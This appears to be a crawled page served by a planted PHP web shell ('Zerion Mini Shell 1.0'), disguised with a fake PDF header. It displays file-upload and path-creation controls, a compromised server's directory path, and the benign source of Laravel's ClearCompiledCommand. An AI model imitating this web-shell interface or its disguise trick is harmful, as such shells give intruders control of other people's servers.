%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/pjold/vendor/laravel/framework/src/Illuminate/Foundation/Console/
Upload File :
Create Path :
Current File : //var/www/pjold/vendor/laravel/framework/src/Illuminate/Foundation/Console/ClearCompiledCommand.php

<?php

namespace Illuminate\Foundation\Console;

use Illuminate\Console\Command;

class ClearCompiledCommand extends Command
{
    /**
     * The console command name.
     *
     * @var string
     */
    protected $name = 'clear-compiled';

    /**
     * The console command description.
     *
     * @var string
     */
    protected $description = 'Remove the compiled class file';

    /**
     * Execute the console command.
     *
     * @return void
     */
    public function handle()
    {
        if (file_exists($servicesPath = $this->laravel->getCachedServicesPath())) {
            @unlink($servicesPath);
        }

        if (file_exists($packagesPath = $this->laravel->getCachedPackagesPath())) {
            @unlink($packagesPath);
        }

        $this->info('Compiled services and packages files removed!');
    }
}

Zerion Mini Shell 1.0